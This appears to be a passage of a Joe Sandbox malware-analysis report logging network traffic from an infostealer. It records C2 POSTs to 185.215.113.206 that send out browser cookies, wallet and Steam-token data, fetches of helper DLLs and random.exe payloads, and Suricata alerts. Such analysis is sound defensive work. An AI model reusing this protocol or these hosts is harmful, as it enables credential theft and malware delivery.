00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 43 34 36 42 33 34 34 31 45 42 33 32 39 34 35 36 34 35 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="hwid"B8C46B3441EB3294564547------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="build"mars------KJKFBAFIDAEBFHJKJEBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"browsers------JDAKJJDBGCAKKFHIJEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="message"plugins------AAKJKJDGCGDBGDHIJKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="message"fplugins------JEHIJJKEGHJJKECBKECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 185.215.113.206Content-Length: 5487Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJKEHJJDAAKFHIDAKFHHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 2d 2d 0d 0a Data Ascii: ------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIJKEHJJDAAKFHIDAKFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file"------EHCBAAAFHJDHJJKEBGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file"------JKKFIIEBKEGIEBFIJKFI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCFIEBKEGHIDGCAFBFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 2d 2d 0d 0a Data Ascii: ------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="message"wallets------FBFCFIEBKEGHIDGCAFBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"files------HJEBGHIEBFIJKECBKFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="file"------BGDAKEHIIDGDAAKECBFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d 0a Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="message"ybncbhylepme------GCBKECAKFBGCAKECGIEH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 2d 2d 0d 0a Data Ascii: ------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEHIDHDAKJDHJKEBFIEH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49756 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49910 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
